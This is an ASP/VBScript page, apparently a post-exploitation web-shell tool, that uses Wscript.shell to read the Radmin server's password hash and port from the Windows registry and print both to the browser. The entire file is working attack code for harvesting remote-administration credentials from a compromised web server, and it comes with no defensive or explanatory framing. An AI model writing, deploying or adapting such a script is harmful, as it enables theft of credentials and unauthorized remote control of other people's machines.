<% 
'========================================Main====================================== 
Set WSH= Server.CreateObject("Wscript.shell") 
RadminPath="HKEY_LOCAL_MACHINE/SYSTEM/RAdmin/v2.0/Server/Parameters/" 
Parameter="Parameter" 
Port = "Port" 
ParameterArray=WSH.Regread(RadminPath & Parameter ) 
Response.write "The Result of Radmin Hash" 
Response.write "<br><br>" 
Response.write Parameter&":" 
'=========== ReadPassWord ========= 
If IsArray(ParameterArray) Then 
For i = 0 To UBound(ParameterArray) 
If   Len (hex(ParameterArray(i)))=1 Then  
strObj = strObj & "0" & CStr(Hex(ParameterArray(i))) 
Else 
strObj = strObj & Hex(ParameterArray(i)) 
End If  
Next 
response.write Lcase(strobj) 
Else 
response.write "Error! Can't Read!" 
End If 
Response.write "<br><br>" 
'=========== ReadPort ========= 
PortArray=WSH.REGREAD(RadminPath & Port ) 
If IsArray(PortArray) Then  
Response.write Port &":"  
Response.write hextointer(CStr(Hex(PortArray(1)))&CStr(Hex(PortArray(0)))) 
Else  
Response.write "Error! Can't Read!" 
End If 
'=============hex TO int========== 
Function hextointer(strin)  
Dim i, j, k, result  
result = 0  
For i = 1 To Len(strin)  
If Mid(strin, i, 1) = "f" Or Mid(strin, i, 1) ="F" Then  
j = 15  
End If  
If Mid(strin, i, 1) = "e" Or Mid(strin, i, 1) = "E" Then  
j = 14  
End If  
If Mid(strin, i, 1) = "d" Or Mid(strin, i, 1) = "D" Then  
j = 13  
End If  
If Mid(strin, i, 1) = "c" Or Mid(strin, i, 1) = "C" Then  
j = 12  
End If  
If Mid(strin, i, 1) = "b" Or Mid(strin, i, 1) = "B" Then  
j = 11  
End If  
If Mid(strin, i, 1) = "a" Or Mid(strin, i, 1) = "A" Then  
j = 10  
End If  
If Mid(strin, i, 1) <= "9" And Mid(strin, i, 1) >= "0" Then  
j = CInt(Mid(strin, i, 1))  
End If  
For k = 1 To Len(strin) - i  
j = j * 16  
Next  
result = result + j  
Next  
hextointer = result  
End Function 
'================ End ========== 
%>